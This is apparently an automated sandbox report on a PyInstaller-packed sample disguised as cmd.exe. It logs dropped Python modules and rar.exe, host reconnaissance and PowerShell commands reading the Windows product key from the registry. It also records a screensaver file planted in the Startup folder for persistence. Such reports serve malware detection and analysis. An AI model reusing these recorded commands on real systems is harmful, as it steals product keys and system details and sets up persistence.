Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Users\user\Desktop\cmd.exe

File opened: C:\Users\user\Desktop\pyvenv.cfg

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: cmd.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: cmd.exe

Static file information: File size 6263156 > 1048576

Source: cmd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: cmd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: cmd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: cmd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: cmd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: cmd.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: cmd.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: cmd.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: cmd.exe, 00000001.00000002.2106778885.00007FFE126D1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: cmd.exe, 00000001.00000002.2107248205.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: cmd.exe, 00000001.00000002.2105906140.00007FFE11EA1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: cmd.exe, 00000001.00000002.2103718969.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe, 00000041.00000000.1938364077.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdb source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdbhP source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: cmd.exe, 00000001.00000002.2107479396.00007FFE13301000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: cmd.exe, 00000001.00000002.2101639758.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: cmd.exe, 00000001.00000002.2105061798.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: cmd.exe, 00000001.00000002.2105587009.00007FFE11511000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: )i.pdb source: powershell.exe, 0000002A.00000002.1915922706.00000216A4BB6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: cmd.exe, 00000001.00000002.2107751391.00007FFE13331000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:15:42 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: cmd.exe, 00000001.00000002.2105325798.00007FFE10301000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB390000.00000040.00000001.01000000.0000000F.sdmp

Source: cmd.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: cmd.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: cmd.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: cmd.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: cmd.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x8E79CD85 [Sat Sep 30 01:19:01 2045 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"

Source: libcrypto-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1286c2
Source: libffi-7.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9bb1
Source: python310.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x175084
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1116d
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x49ec0
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x11295
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x13959
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9855f
Source: libssl-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x3a1a3
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xa1bc
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x121bd
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1f136
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x14f2d
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xe5dd
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x2283b
Source: bcdu5fii.dll.48.dr	Static PE information: real checksum: 0x0 should be: 0x5947
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x16d12
Source: cmd.exe	Static PE information: real checksum: 0x5f9d97 should be: 0x5f954d

Source: libffi-7.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98B1EB60 push edx; ret	10_2_00007FFD98B1EBFC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98B1D2A5 pushad ; iretd	10_2_00007FFD98B1D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98B1FB35 pushad ; iretd	10_2_00007FFD98B1FB37
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98C302FD push ds; iretd	10_2_00007FFD98C303E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98C372BB push cs; iretd	10_2_00007FFD98C372CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98C31A69 push ds; iretd	10_2_00007FFD98C31A6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98C3862D push ebx; ret	10_2_00007FFD98C386CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98C3861D push ebx; ret	10_2_00007FFD98C3862A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD98C31029 pushad ; iretd	10_2_00007FFD98C3102A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FFD98C41B11 push ds; iretd	42_2_00007FFD98C41B12
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FFD98C40B5D push ds; iretd	42_2_00007FFD98C40B82
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FFD98C40B83 push ds; iretd	42_2_00007FFD98C40B82

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\python310.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\cmd.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr

Source: C:\Users\user\Desktop\cmd.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\cmd.exe

Code function: 0_2_00007FF70AEF5820 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF70AEF5820

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
